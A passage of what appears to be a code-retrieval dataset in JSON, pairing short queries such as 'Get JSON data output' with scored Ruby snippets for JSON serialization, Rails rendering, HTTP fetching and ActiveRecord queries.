\"Connection is bad.\" \n end\n\n end", "title": "" } ]
e87eee7bf80e0d5da427cf045da950c3
Get JSON data output
[ { "docid": "02e1481ce875df2e25b7ec1ec2475c7b", "score": "0.0", "text": "def to_json\n {\n 'id' => @id, 'name' => @name, 'type' => @type,\n 'statuses' => [tr(:active), tr(:done)],\n 'active_count' => @active_count,\n 'done_count' => @done_count\n }\n end", "title": "" } ]
[ { "docid": "8c9bc0e2d2f89d457e47d8bba0a603a1", "score": "0.7972685", "text": "def json\n data\n end", "title": "" }, { "docid": "ad091c545100352a2804599bf4a90fad", "score": "0.78901035", "text": "def json()\n process if @data.nil?\n @data.to_json\n end", "title": "" }, { "docid": "1dcebe837f9a95a9874a2c895aaa1a06", "score": "0.7744151", "text": "def getJSON\n\t\t\treturn @json\n\t\tend", "title": "" }, { "docid": "24726e1c9c30efbc1920305940fe1b3b", "score": "0.77008796", "text": "def json_data; end", "title": "" }, { "docid": "0cfc6a57faae3b2ea587e0c848efaaa8", "score": "0.75103146", "text": "def json_out(data)\n content_type 'application/json', :charset => 'utf-8'\n data.to_json + \"\\n\"\n end", "title": "" }, { "docid": "047dae6ca124245ce54c4cba57c9a139", "score": "0.7473955", "text": "def getJson\n render json: getData()\n end", "title": "" }, { "docid": "047dae6ca124245ce54c4cba57c9a139", "score": "0.7473955", "text": "def getJson\n render json: getData()\n end", "title": "" }, { "docid": "047dae6ca124245ce54c4cba57c9a139", "score": "0.7473955", "text": "def getJson\n render json: getData()\n end", "title": "" }, { "docid": "51bee247a9b1d559a23f4766a79e05ad", "score": "0.74052876", "text": "def getJson\n render json: getData()\n end", "title": "" }, { "docid": "1c0f2ab9c867e34fdb102a2ceed2c0d0", "score": "0.7401135", "text": "def gen_json\n return JSON.pretty_generate(@output)\n end", "title": "" }, { "docid": "ec717f71d64cd7639c8073d8f17896d5", "score": "0.7344713", "text": "def gen_json\n JSON.pretty_generate(@output)\n end", "title": "" }, { "docid": "cac010b7ced8a94fe9d15caddaea5657", "score": "0.72762215", "text": "def json_data\n json[:data]\n end", "title": "" }, { "docid": "2141ec25ba9ff92a04417262b649c6e1", "score": "0.7213784", "text": "def getJson\n render json: getData\n end", "title": "" }, { "docid": "2f3fb43d31f8a42fed6c207e2d39ef49", "score": "0.71349096", "text": "def show\n puts @out_json\n end", "title": "" }, { "docid": "38e1561d9f7bb0bda415a5cdcae2c516", "score": "0.7079669", "text": "def as_json(*args)\n data\n end", "title": "" }, { "docid": "451b16ffddf4da7777e7e3b41aaab00a", "score": "0.7065401", "text": "def json_data\n json[:data]\n end", "title": "" }, { "docid": "e4ac661a9c6c6f8944198b4486a2843e", "score": "0.7029231", "text": "def show_JSON(result)\n puts JSON.pretty_generate result\nend", "title": "" }, { "docid": "bed9220fa9134703876f5d29c6b47a65", "score": "0.7024525", "text": "def json\n Oj.to_json(@resp)\n end", "title": "" }, { "docid": "59704b2725f90c68cb3d33c54d4d9977", "score": "0.7010899", "text": "def dump\n JSON.generate(@data)\n end", "title": "" }, { "docid": "ca97cef13b7e1633c683c93ce8903959", "score": "0.69893026", "text": "def as_json; end", "title": "" }, { "docid": "ca97cef13b7e1633c683c93ce8903959", "score": "0.69893026", "text": "def as_json; end", "title": "" }, { "docid": "ca97cef13b7e1633c683c93ce8903959", "score": "0.69893026", "text": "def as_json; end", "title": "" }, { "docid": "9104bb1725cb217ab5346fdc01edc054", "score": "0.69671327", "text": "def json( dataset )\n if !dataset #.empty? \n return no_data!\n end \n\n if settings.development?\n #MultiJson.dump(dataset, :pretty => true) + \"\\n\"\n JSON.pretty_generate(JSON.load(dataset.to_json)) + \"\\n\" \n else\n MultiJson.dump dataset\n end\n end", "title": "" }, { "docid": "1324335724b7133016af74d1612a115f", "score": "0.6942417", "text": "def as_json(*args)\n data\n end", "title": "" }, { "docid": "93d0e6bf423512d4248e8b8b332615ea", "score": "0.69228214", "text": "def json\n raw\n end", "title": "" }, { "docid": "8612edf60ba071a8f94d33e3cde83018", "score": "0.6862432", "text": "def getJson()\n \tret = '{ '\n\t\tbegin\n\t\t\tret += 'layers:' + Vismap.namesJson( self.layer_names )\n\t\t\tret += ', scenes:' + Vismap.namesJson( self.scene_names )\n\t\t\tvis = self.getVisibles()\n\t\t\tret += \", vis:'\" + vis + \"'\"\n\t\t\tret += ' }'\n\t\trescue\n\t\t\terrMsg = $!.to_s\n\t\t\terrMsg.gsub!( '<', '&lt;' )\n\t\t\tvis = 'vis:\\\"Error - ' + errMsg + '\\\"'\n\t\t\tret = '{ layers:\\\"\\\", scenes:\\\"\\\",' + vis + ' }'\n\t\tend\n \treturn ret\n\n end", "title": "" }, { "docid": "9f680c07bad2935dcb89fc68108fc324", "score": "0.6859911", "text": "def json_pretty_print\n JSON.pretty_generate(@data)\n end", "title": "" }, { "docid": "532e41a1b0b480f09526768fa3bd5634", "score": "0.6851773", "text": "def data_json\n Oj.dump(@data, mode: :compat)\n end", "title": "" }, { "docid": "bf0c6a88954488abbadead5eef1ce58d", "score": "0.68343", "text": "def content\n self.data.to_json\n end", "title": "" }, { "docid": "c9f1a7881cd0392ba7b00ea607e6a06b", "score": "0.6832192", "text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend", "title": "" }, { "docid": "c9f1a7881cd0392ba7b00ea607e6a06b", "score": "0.6832192", "text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend", "title": "" }, { "docid": "c9f1a7881cd0392ba7b00ea607e6a06b", "score": "0.6832192", "text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend", "title": "" }, { "docid": "e19f3f6fccc4d9819aec3cf4c54ac988", "score": "0.6823773", "text": "def json\n @json = \"\"\n # Time created must be converted to milliseconds for JS so multiply by 1000\n readings_subset.each do |val|\n @json = @json + \"[#{val.created_at.to_i*1000}, #{val.glucose_level}],\"\n end\n @json.to_s.chomp(',')\n end", "title": "" }, { "docid": "f5f26634b78633ae669cb23b788ac2f7", "score": "0.6816979", "text": "def json\n @@id += 1\n charset = @options[:reg_options].charset\n \"{\" +\n \"\\\"type\\\": \\\"#{@data_type}\\\", \\\"id\\\": \\\"L#{@@id}\\\", \\\"value\\\": #{@obj.json}, \" +\n \"\\\"offset\\\": #{@offset}, \\\"length\\\": #{@length}, \" +\n \"\\\"charset\\\": \\\"#{charset}\\\"\" +\n \"}\"\n end", "title": "" }, { "docid": "9a6a830a7882ca5071f2c3e3d8983d4e", "score": "0.6811442", "text": "def output_json(data)\n file_path_output = File.join(__dir__, 'data/output.json')\n File.open(file_path_output, 'wb') do |file|\n file.write(JSON.generate(data))\n end\n\n p 'data extracted and putted in a json file'\nend", "title": "" }, { "docid": "5144e8a4ebbbce7fcca2672a0190f76b", "score": "0.6804975", "text": "def to_json; end", "title": "" }, { "docid": "06dbd6d2dc4bd4c8c66e349cfe7fd766", "score": "0.68042743", "text": "def to_json\n json_generator.json\n end", "title": "" }, { "docid": "a2fa564d8e917a978063ffb253e8b2e7", "score": "0.6782509", "text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend", "title": "" }, { "docid": "a2fa564d8e917a978063ffb253e8b2e7", "score": "0.6782509", "text": "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend", "title": "" }, { "docid": "636f9b7eb36934b87348521282b3f2ac", "score": "0.67694753", "text": "def json?; end", "title": "" }, { "docid": "383bb393824cffdb1cd0fa81cac625da", "score": "0.67392635", "text": "def returnJson(asig, apunte, num)\r\n\r\n end", "title": "" }, { "docid": "9a214efa802e318055ac1de5b654ada2", "score": "0.67349035", "text": "def render_json(dat)\n create_response(JSON.generate(dat), 200, {'Content-Type' => 'application/json;charset=utf-8'})\n end", "title": "" }, { "docid": "f1c774d2f84d7c3f9ba32e1a30bd1d25", "score": "0.6713305", "text": "def to_json(*args)\n @json\n end", "title": "" }, { "docid": "a0a13106ed5b2b7c12a2ebd593f28fd8", "score": "0.6711888", "text": "def entry\n JSON.parse(@output.string)\n end", "title": "" }, { "docid": "77d00a0c8f397d85b8505b43d2d5e816", "score": "0.67087847", "text": "def to_json\n @data.to_json\n end", "title": "" }, { "docid": "8823faafddacc4cc573518c020aa0bff", "score": "0.6708259", "text": "def data_json\n data&.to_json\n end", "title": "" }, { "docid": "2d1677cdbdc005ea2a731c67b70dbd12", "score": "0.6707001", "text": "def to_json\n MiGA::Json.generate(data)\n end", "title": "" }, { "docid": "7f12d5cfe87dc1f5f584f6b84126091d", "score": "0.6697107", "text": "def json_output\n output.map { |record| MultiJson.load(record) }\n end", "title": "" }, { "docid": "e885db8d3115c2ebb2adb462be5568ea", "score": "0.6694702", "text": "def jsondata\n json = File.read('/home/ubuntu/workspace/test/models/data.json').to_s\n obj = JSON.parse(json)\n #puts obj.to_json\n puts obj['Cuisine']\n \n end", "title": "" }, { "docid": "8104ea33ab085ef5311b80854bb0d628", "score": "0.6691499", "text": "def to_json(**options)\n Granola.json.(data, options)\n end", "title": "" }, { "docid": "6702dd014df6d899ddf40a259b0315e0", "score": "0.66835135", "text": "def json\n @body\n end", "title": "" }, { "docid": "dfd9dfe6a4b2a9e7e39986682cbc355b", "score": "0.6682296", "text": "def to_json\n @data.to_json\n end", "title": "" }, { "docid": "ed40004c05657b187b393de6b201464a", "score": "0.66813755", "text": "def json thing\n content_type :json, charset: \"utf-8\"\n jsonify thing\n end", "title": "" }, { "docid": "c56234b7ea4c5c64bc62d5e916051313", "score": "0.6681077", "text": "def asJSON()\n json = JSON.generate @data\n return json.gsub(/([\"\\]}])([,:])([\"\\[{])/, '\\\\1\\\\2 \\\\3')\n end", "title": "" }, { "docid": "d04709ffa261b57978f718122f842bac", "score": "0.66760117", "text": "def to_json\n @data.to_json\n end", "title": "" }, { "docid": "4c0d0f384e90fb55cc0cfe6ba2747c00", "score": "0.6659914", "text": "def to_json\n\t\t\t\tend", "title": "" }, { "docid": "a2e9bbb520f4a74707d2c8ec84b0d9a3", "score": "0.66445476", "text": "def json_data\n json_format = params[:json_format] or 'default'\n case json_format\n when 'basic'\n collection.map { |u| { 'id' => u.id, 'name' => u.message } }.to_json\n else\n collection.to_json(:only => [:id, :level, :message])\n end\n end", "title": "" }, { "docid": "3243c2320a20174c235b995ffcb9ef4e", "score": "0.66444373", "text": "def output_type\n return :json\n end", "title": "" }, { "docid": "43d3c1aa617fddc3404ec6737c968d8e", "score": "0.6638591", "text": "def prepare_json; end", "title": "" }, { "docid": "287b8b268a8c84e0edfd1d6cb44ce318", "score": "0.66369754", "text": "def as_json(*args); end", "title": "" }, { "docid": "9ed7799770f09f340716e97a811dfab0", "score": "0.66351694", "text": "def as_json(_ = {})\n @data\n end", "title": "" }, { "docid": "d1c0c189be43f3e83727658a77f6ca8f", "score": "0.6630758", "text": "def data\n super\n begin\n if @reloaded then\n json = JSON.parse(@data)\n @json = json\n end\n rescue => e\n return @json\n end\n @json\n end", "title": "" }, { "docid": "2c0b46574abfee6b859c95720c58e538", "score": "0.6599962", "text": "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend", "title": "" }, { "docid": "2c0b46574abfee6b859c95720c58e538", "score": "0.6599962", "text": "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend", "title": "" }, { "docid": "81d84c452658ad37d340384fe24ea443", "score": "0.65895814", "text": "def js(data)\n\t if data.respond_to? :to_json\n\t data.to_json\n\t else\n\t data.inspect.to_json\n\t end\n\tend", "title": "" }, { "docid": "b104d342e8999b2fe421624d950e8cda", "score": "0.658767", "text": "def to_json\n @json\n end", "title": "" }, { "docid": "2cef432dff5d179dabc21976c0278739", "score": "0.65874", "text": "def as_json(*)\n {\n sEcho: params[:sEcho].to_i,\n iTotalRecords: Album.count,\n iTotalDisplayRecords: albums.total_entries,\n aaData: data\n }\n end", "title": "" }, { "docid": "0da080b29077af334312e388c0b8425b", "score": "0.65870243", "text": "def to_json\n end", "title": "" }, { "docid": "f07f73dcf0d0362deb38908bffde88d4", "score": "0.6571715", "text": "def print_results(response)\nresponse.to_json\nend", "title": "" }, { "docid": "8298c574a1461df73639db17dd596f02", "score": "0.6553079", "text": "def json_data_member\n json_response[:data]\n end", "title": "" }, { "docid": "40ca9ce91fc04ab5b0411c174bcf07f5", "score": "0.65508586", "text": "def json_output(status, success, data) \n return render :status => status,\n :json => { :success => success,\n :info => data\n }\n end", "title": "" }, { "docid": "d00769aaa417b6bfa14cf74f3dc536d8", "score": "0.6544496", "text": "def json\n return @json if @json\n require 'json'\n @json = JSON\n end", "title": "" }, { "docid": "5eaa327a4aeb2780913083d3954bbb73", "score": "0.6541193", "text": "def info\n puts JSON.pretty_generate(to_hash)\n end", "title": "" }, { "docid": "7c57bebd43ab268487714635d0bdc952", "score": "0.65390986", "text": "def json\n # We do not want to insert much extra whitespace, because ECS imposes\n # a maximum file-size limit based on bytes.\n JSON.generate(generate())\n end", "title": "" }, { "docid": "3587a7d523ac3d6b554bdb11034fa7c6", "score": "0.6535505", "text": "def as_json(options = nil)\n\t\t\n\tend", "title": "" }, { "docid": "5bb29e4dba6bfc60a4c4ede905f0c56b", "score": "0.65331423", "text": "def json\n \tJSON.parse(response.body)\n end", "title": "" }, { "docid": "85d06e3efe03338aab3885f4fb9ddda2", "score": "0.65152687", "text": "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n # puts \"🤖 GET #{path}\"\n # puts \"HTTP #{response.code}\"\n # puts JSON.pretty_generate(result)\n result\nend", "title": "" }, { "docid": "aa2696c09309b124e68f289582cb34c2", "score": "0.65093976", "text": "def getJson(file)\r\n\r\n end", "title": "" }, { "docid": "9915d7da3fdbbbba122ed458cb4e828c", "score": "0.65047365", "text": "def raw_json(*)\n @json\n end", "title": "" }, { "docid": "16dd216ee53b3bc983a9b95df8ce9339", "score": "0.64974916", "text": "def format(data)\n JSON.pretty_generate(data)\n end", "title": "" }, { "docid": "28f35856da3b411b38960b3e97cc84fd", "score": "0.64927113", "text": "def custom_json\n data.custom_json\n end", "title": "" }, { "docid": "4605fb515e258e0a5012da7c327903e2", "score": "0.6488084", "text": "def to_s\n @json\n end", "title": "" }, { "docid": "3e572fba4fddcbd3bf7e97729916b7c4", "score": "0.6479375", "text": "def to_json(*args)\n data.to_json(*args)\n end", "title": "" }, { "docid": "8dd5f9bcef71b09bf348475a5ea089bf", "score": "0.647876", "text": "def json_body; end", "title": "" }, { "docid": "bf26e212db667352720f33227df14216", "score": "0.64775467", "text": "def jsonator data\n render json: {\n status: 'success',\n data: data\n }, status: :ok\n end", "title": "" }, { "docid": "bf26e212db667352720f33227df14216", "score": "0.64775467", "text": "def jsonator data\n render json: {\n status: 'success',\n data: data\n }, status: :ok\n end", "title": "" }, { "docid": "45a69307e92d9ec4cb8f659c96bd064a", "score": "0.6476855", "text": "def format\n :json\n end", "title": "" }, { "docid": "2886c4b15d5f50afdf15ec680fcc0adb", "score": "0.6469451", "text": "def to_json\n renderer.render_to_string template: template_name, handler: :jbuilder\n end", "title": "" }, { "docid": "32d471f4bc43b7c8e34dd7259101ce8e", "score": "0.64680886", "text": "def json\n @json ||= MultiJson.load(Faraday.get(url).body, symbolize_keys: true)\n end", "title": "" }, { "docid": "ea62777f9b1fda6fe066f197c1329e4f", "score": "0.64607835", "text": "def read_ajax(json_data)\r\n\r\n puts \"json_data: #{json_data}\"\r\n\r\nend", "title": "" }, { "docid": "ef62d77571da67699653da3697ad05c6", "score": "0.64563876", "text": "def as_json(options={})\n {\n sEcho: params[:sEcho].to_i,\n iTotalRecords: objects.size,\n iTotalDisplayRecords: objects.total_entries,\n aaData: data\n }\n end", "title": "" }, { "docid": "33aed8274192363d23e62736b19b8f7b", "score": "0.6450087", "text": "def render_format\n :json\n end", "title": "" }, { "docid": "24a5ef5844bef307cbd99f931429bb0b", "score": "0.64265835", "text": "def output\n self.check!\n \n if @error.nil?\n error = nil\n else\n error = @error.output\n end\n \n data = {\n \"result\" => @result,\n \"error\" => error,\n \"id\" => @id\n }\n \n return data\n end", "title": "" }, { "docid": "63df7080e815d0be10ed575a29c1da58", "score": "0.6413952", "text": "def json_data\n json_format = params[:json_format] or 'default'\n case json_format\n when 'basic'\n collection.map {|p| {'id' => p.id, 'name' => p.name}}.to_json\n else\n # collection.to_json(:include => {:variants => {:include => {:option_values => {:include => :option_type}, :images => {}}}, :images => {}, :master => {}})\n end\n end", "title": "" }, { "docid": "5140f37bcce694847513a6d039dbd01b", "score": "0.64121884", "text": "def json()\n return JSON.parse(@_response.body)\n end", "title": "" }, { "docid": "3845bfd86f5fbc59963ddaa33fd3fa76", "score": "0.6409798", "text": "def to_json(data)\n JSON[data]\n end", "title": "" }, { "docid": "4f20dbe1a79989ce350eaa11a2861dca", "score": "0.6404088", "text": "def json\n JSON.parse user_data\n end", "title": "" }, { "docid": "630cf03ee1a2e4fd701d60d905675d2b", "score": "0.63993895", "text": "def as_json(options = {})\n {\n sEcho: params[:sEcho].to_i,\n iTotalRecords: @model.count,\n iTotalDisplayRecords: records.total_entries,\n aaData: data\n }\n end", "title": "" }, { "docid": "630cf03ee1a2e4fd701d60d905675d2b", "score": "0.63993895", "text": "def as_json(options = {})\n {\n sEcho: params[:sEcho].to_i,\n iTotalRecords: @model.count,\n iTotalDisplayRecords: records.total_entries,\n aaData: data\n }\n end", "title": "" }, { "docid": "09dcb3fd0bdcbd5304aa1b58606d9ea8", "score": "0.63992554", "text": "def echo_json\n sleep 1 # to give the appearance of an actual request; so spinner shows, etc.\n render json: params[:data].to_json\n end", "title": "" }, { "docid": "a761d7426cc3b4769e01048379c58071", "score": "0.6394332", "text": "def json_result\n hash = Hash(*@array)\n hash.to_json\n end", "title": "" } ]
a0a9e009f0070f444290289e696c9c4e
Retrieves data for items with the highest watch count
[ { "docid": "02f8d0bd3a44ca3df6d9955b98c2bbc2", "score": "0.7208373", "text": "def get_most_watched_items(payload = {})\n request('getMostWatchedItems', payload)\n end", "title": "" } ]
[ { "docid": "80bf10aa2141745741328a2590ae7e27", "score": "0.6198224", "text": "def watch_count\n item_hash.deep_find(:watch_count, 0)\n end", "title": "" }, { "docid": "a9f595c2df325d1e3605a974d9fbca84", "score": "0.6054121", "text": "def recent\n @limit = 10\n @webhooks = Webhook.limit(@limit).order(id: :desc)\n end", "title": "" }, { "docid": "161a16a928c3f36867f257dfb03b4848", "score": "0.5998608", "text": "def latest\n @latest = apiQuery(\"items(first:1, order:UPDATED_DESC, include:[PUBLISHED,EMBARGOED]) { nodes { updated } }\").\n dig(\"items\", \"nodes\", 0, \"updated\")\n end", "title": "" }, { "docid": "399858e40502d0de9ef941e251437085", "score": "0.5961936", "text": "def recent_feed_items(limit = 100)\n feed_items.order('created_at DESC').limit(limit)\n end", "title": "" }, { "docid": "3e0e4bf92b51d8c76633b23e081511d3", "score": "0.5944427", "text": "def max_items\n main.max_items\n end", "title": "" }, { "docid": "cf93e306ba02044767c6081ff875c092", "score": "0.58958125", "text": "def fetch_latest(params)\n wines = []\n offset = 0\n limit = 5000\n params_with_defaults = { limit: limit }.merge(params)\n response = auth_then.get(BASE_URL, params: params_with_defaults)\n count = response.parse[\"count\"]\n\n while offset < count\n if response.code == 200\n response.parse[\"results\"].each do |result|\n wines << result\n end\n else\n []\n end\n response = auth_then.get(response.parse[\"next\"]) if response.parse[\"next\"] != nil\n offset += 5000\n end\n wines\n end", "title": "" }, { "docid": "76043a74583b9a25c67563e6b0b2ab29", "score": "0.5864987", "text": "def get_latest_feedback(count)\n #returns array of 5 feedback objects--1 recent feedback each from at most COUNT charities\n charities = self.get_charities_sorted_by_feedback_date.slice!(0,count)\n feedback= []\n charities.each do |c|\n feedback << c.latest_feedback\n end\n feedback\n end", "title": "" }, { "docid": "286c06ae9c3c0516319651416c6a0794", "score": "0.5852556", "text": "def get_all_report\n limit = 15\n begin\n if params.has_key? :last_iso_timestamp\n from_time = DateTime.iso8601 params[:last_iso_timestamp]\n\n items = Item.active_items.order('updated_at DESC').where(\"updated_at < ?\",from_time).limit(limit)\n else \n items = Item.active_items.order('updated_at DESC').limit(limit)\n end\n #return\n render json:{success:true, lost_and_found: items.take(limit)} \n rescue Exception => e\n render json:{success:false, message: e.to_s}\n end\n end", "title": "" }, { "docid": "350755b297b9c8689a6e9f19e8c7e684", "score": "0.5827625", "text": "def recent\n result = http_get(\"/services/data/v#{self.version}/recent\")\n collection_from(result.body)\n end", "title": "" }, { "docid": "678d77b1c269cf537fad5208ff903933", "score": "0.5796865", "text": "def recent_player_data(count = nil)\n player_data_points_dataset.where(relevant: true).\n order_by(Sequel.desc(:created_at)).\n limit(count)\n end", "title": "" }, { "docid": "5313610c52b9bf88d15095a72bfc88f6", "score": "0.57903063", "text": "def most_pop_time()\n sql = \"SELECT show_time, COUNT(tickets.*) FROM tickets INNER JOIN screens\n ON tickets.screen_id = screens.id GROUP BY show_time ORDER BY count DESC limit 1\"\n values = []\n tickets_count = SqlRunner.run(sql, values)\n return tickets_count.first[\"show_time\"]\n end", "title": "" }, { "docid": "b5fb83307a7300a96e8e6ce229160c43", "score": "0.57577395", "text": "def get_recent_bids(num)\n self.bids.sort_by {|bid| bid.created_at}.last(num)\n end", "title": "" }, { "docid": "af649bb97ccecdc254759a9614832c56", "score": "0.5757587", "text": "def latest\n url = @base_url + \"result/#{key}-latest#{format}\"\n response = RestClient.get(url)\n \n JSON.parse(response)\n end", "title": "" }, { "docid": "8b9f3d365abaf671979b802b1c2fa641", "score": "0.56982917", "text": "def ukextremes_latest_observations\n query('txt/wxobs/ukextremes/json/latest')\n end", "title": "" }, { "docid": "78221b9b740f3889859515226fbeb279", "score": "0.56960744", "text": "def latest_published count\n\t self.find(:all, :order => \"published_on DESC\", :conditions => \"published_on > 0 AND live = 1\", :limit => count )\n\tend", "title": "" }, { "docid": "7677358f8b79a889bd60f62bd1c397ad", "score": "0.5672609", "text": "def item_max; @data ? @data.size : 0; end", "title": "" }, { "docid": "d840247875198d873527d39f6de967f5", "score": "0.56650996", "text": "def max()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Max::MaxRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "fccd8d90d33d412186ef4dccc3441145", "score": "0.5655041", "text": "def feed\n feed_items.desc(:created_at).limit(10).to_a\n end", "title": "" }, { "docid": "b95e28b6255365fc776453800529cad2", "score": "0.5644679", "text": "def index\n @recent_objects = Serial.order(updated_at: :desc).limit(10)\n end", "title": "" }, { "docid": "ee729a472ea3813d9a359e654b6e83c1", "score": "0.5634338", "text": "def latest_observations(number = 1)\n\n observations = self.observations.order(recording_time: :desc).limit(number)\n if observations.count > 0\n observations\n else\n false\n end\n\n end", "title": "" }, { "docid": "e7a906d93832a459bfda58ee345c94d7", "score": "0.5626705", "text": "def latest_paper(items)\r\n\t\t#latest_items = Document.has_photos.last(items)\r\n\t\tlatest_items = Document.has_photos.joins(:document_type).where(\"document_types.paper = ?\", true).limit(12).order('id desc')\r\n\tend", "title": "" }, { "docid": "333a7d8a7d16adbafb1c07118e10362b", "score": "0.5623336", "text": "def showMostSearched\n @user = User.order('counter DESC').limit(params[:limit])\n render json: @user\n end", "title": "" }, { "docid": "687ec05272a84ba860bb79eb8fdb6748", "score": "0.56106025", "text": "def item_max(cat = current_category)\n @list[cat].size\n end", "title": "" }, { "docid": "c60f1506645524b146992e517d0b28fd", "score": "0.5604538", "text": "def max_bad_records\n @gapi.max_bad_records\n end", "title": "" }, { "docid": "e6690f15498def5547957a21d7da4122", "score": "0.5565021", "text": "def most_popular_track\n tracks.select {|track| track.id == info(:most_popular_track)['id'] }.first\n end", "title": "" }, { "docid": "3ced46e479b6c766fac43759c36a454b", "score": "0.5561806", "text": "def latest_bids\n self.bids.group(:item_id)\n end", "title": "" }, { "docid": "f7462917094cc797bf6ffda3b9abd78e", "score": "0.55614346", "text": "def get_latest_news(start=0,count=LatestNewsPerPage)\n numitems = $r.zcard(\"news.cron\")\n news_ids = $r.zrevrange(\"news.cron\",start,start+(count-1))\n return get_news_by_id(news_ids,:update_rank => true),numitems\nend", "title": "" }, { "docid": "0bf49b50b393f027c909ae9cf1e617a1", "score": "0.5552952", "text": "def item_max\r\n @list.size\r\n end", "title": "" }, { "docid": "89b74e0f5cb092a4e81c3ddf6e4bc230", "score": "0.55482507", "text": "def get_data_for_recent\n begin\n data = []\n serials = Serial.fetch_recent_watched_serials(limit: limit, offset: params[:skip].to_i).uniq.map{|s| s.format(mode: 'compact')}\n movies = Movie.recently_watched.offset(params[:skip].to_i).map{|m| m.format(mode: 'compact')}\n api_response = {:code => \"0\", :status => \"Success\", data: serials + movies}\n rescue Exception => e\n api_response = {:code => \"-1\",:status => \"Error\",:message => e.message}\n end\n render json: api_response\n end", "title": "" }, { "docid": "088bd036a296f314bb800e9a69a3268d", "score": "0.55482167", "text": "def mostPopularBook\n\t\t@requests = requests.order('count desc')\n\t\tif @requests.count > 0\n\t\t\t@book = @requests.at(0).book\n\t\telse\n\t\t\tnil\n\t\tend\n\tend", "title": "" }, { "docid": "cae6d946f714032bb68f4f3044e0dea8", "score": "0.5541519", "text": "def popular\n if params[:platform].blank?\n @apps = App.order_recent.page(params[:page]).per(8)\n else\n @apps = App.by_platform(params[:platform]).\n order_recent.page(params[:page]).per(8)\n end\n end", "title": "" }, { "docid": "661698e0dc2b733d8da7c0d9d400fa01", "score": "0.5540651", "text": "def get_max_results\n @max_results\n end", "title": "" }, { "docid": "2e9fe6d6cb21b15a66414896512ff13f", "score": "0.55338395", "text": "def latest_five\n self.find :all, :limit=>5, :order => \"created_at desc\"\n end", "title": "" }, { "docid": "0f4b81d4da06c377aeb9c145f4d64970", "score": "0.5526456", "text": "def get_latest_reading\n id = params[:id]\n device = Device.find_by_network_address(id)\n if device.nil?\n render :json => nil\n return\n end\n last_reading_time = device.last_reading_at * 1000 # convert to millisecond\n reading = @sensor_reading_table.items.query(\n :hash_value => id,\n :range_value => last_reading_time,\n :select => :all)\n if !reading.nil?\n render :json => reading.to_a.last.attributes\n else\n render :json => nil\n end\n end", "title": "" }, { "docid": "0a48fbb6808968a97373a2e88e993bdb", "score": "0.5524461", "text": "def most_recent\n self.stats.first\n end", "title": "" }, { "docid": "cdc4861ad6df235b8023990cd561c788", "score": "0.5511894", "text": "def tag_with_highest_count\n Tag.order(count: :desc).first\n end", "title": "" }, { "docid": "7ee2e8d198cee2ec366e77b97ee98361", "score": "0.5507468", "text": "def latest_observations\n path = 'stations/%s/observations/latest' % [@id]\n get(path)['properties']\n end", "title": "" }, { "docid": "3bf49055c1250fc013a0dcc61d743ed4", "score": "0.5502661", "text": "def latest\n hash = self.class.pkglist(:justme => @resource[:name])\n hash[:avail] if hash\n end", "title": "" }, { "docid": "eccf9ee0da5dbd898d1381b60c132a69", "score": "0.5501009", "text": "def item_max\n @data ? @data.size : 1\n end", "title": "" }, { "docid": "eccf9ee0da5dbd898d1381b60c132a69", "score": "0.5501009", "text": "def item_max\n @data ? @data.size : 1\n end", "title": "" }, { "docid": "eccf9ee0da5dbd898d1381b60c132a69", "score": "0.5501009", "text": "def item_max\n @data ? @data.size : 1\n end", "title": "" }, { "docid": "eccf9ee0da5dbd898d1381b60c132a69", "score": "0.5501009", "text": "def item_max\n @data ? @data.size : 1\n end", "title": "" }, { "docid": "eccf9ee0da5dbd898d1381b60c132a69", "score": "0.5501009", "text": "def item_max\n @data ? @data.size : 1\n end", "title": "" }, { "docid": "eccf9ee0da5dbd898d1381b60c132a69", "score": "0.5501009", "text": "def item_max\n @data ? @data.size : 1\n end", "title": "" }, { "docid": "66144bb286d21990d8fbc5003d8f6580", "score": "0.549946", "text": "def most_recent_log_entries(count)\n redis.zrange(log_key, -count, -1)\n end", "title": "" }, { "docid": "a8e0de4e0a8c5ca67e1e5a5aab7a0476", "score": "0.5495758", "text": "def item_max\r\n \t@data ? @data.size : 1\r\n end", "title": "" }, { "docid": "545949aea1c497a034758f8eeee696c5", "score": "0.5495524", "text": "def item_max\n @data ? @data.size : 1;\n end", "title": "" }, { "docid": "829a7ca0c617ae3386244a688a83a794", "score": "0.5475143", "text": "def get_recent_datasets(count = 10)\n @api.request('get_recent_datasets', count: 10)\n end", "title": "" }, { "docid": "4c4306a7ef25a06f47ff057b3d84b4ef", "score": "0.5472054", "text": "def most_resent_report\n @channel_report = ChannelReport.order(scan_date: :desc).first\n respond_with(@channel_report)\n end", "title": "" }, { "docid": "5a7f1f15007687f2204513c4c345bcd4", "score": "0.54698086", "text": "def index\n @shifts_old = Shift.find_all_by_business_id(current_user.id)\n\n @shifts = []\n @count = []\n\n 7.times do |day|\n @shifts[day] = Shift.order(\"start desc\").where(business_id: current_user.id, day: day)\n @count[day] = @shifts[day].count\n end\n\n @count = @count.max\n\n respond_to do 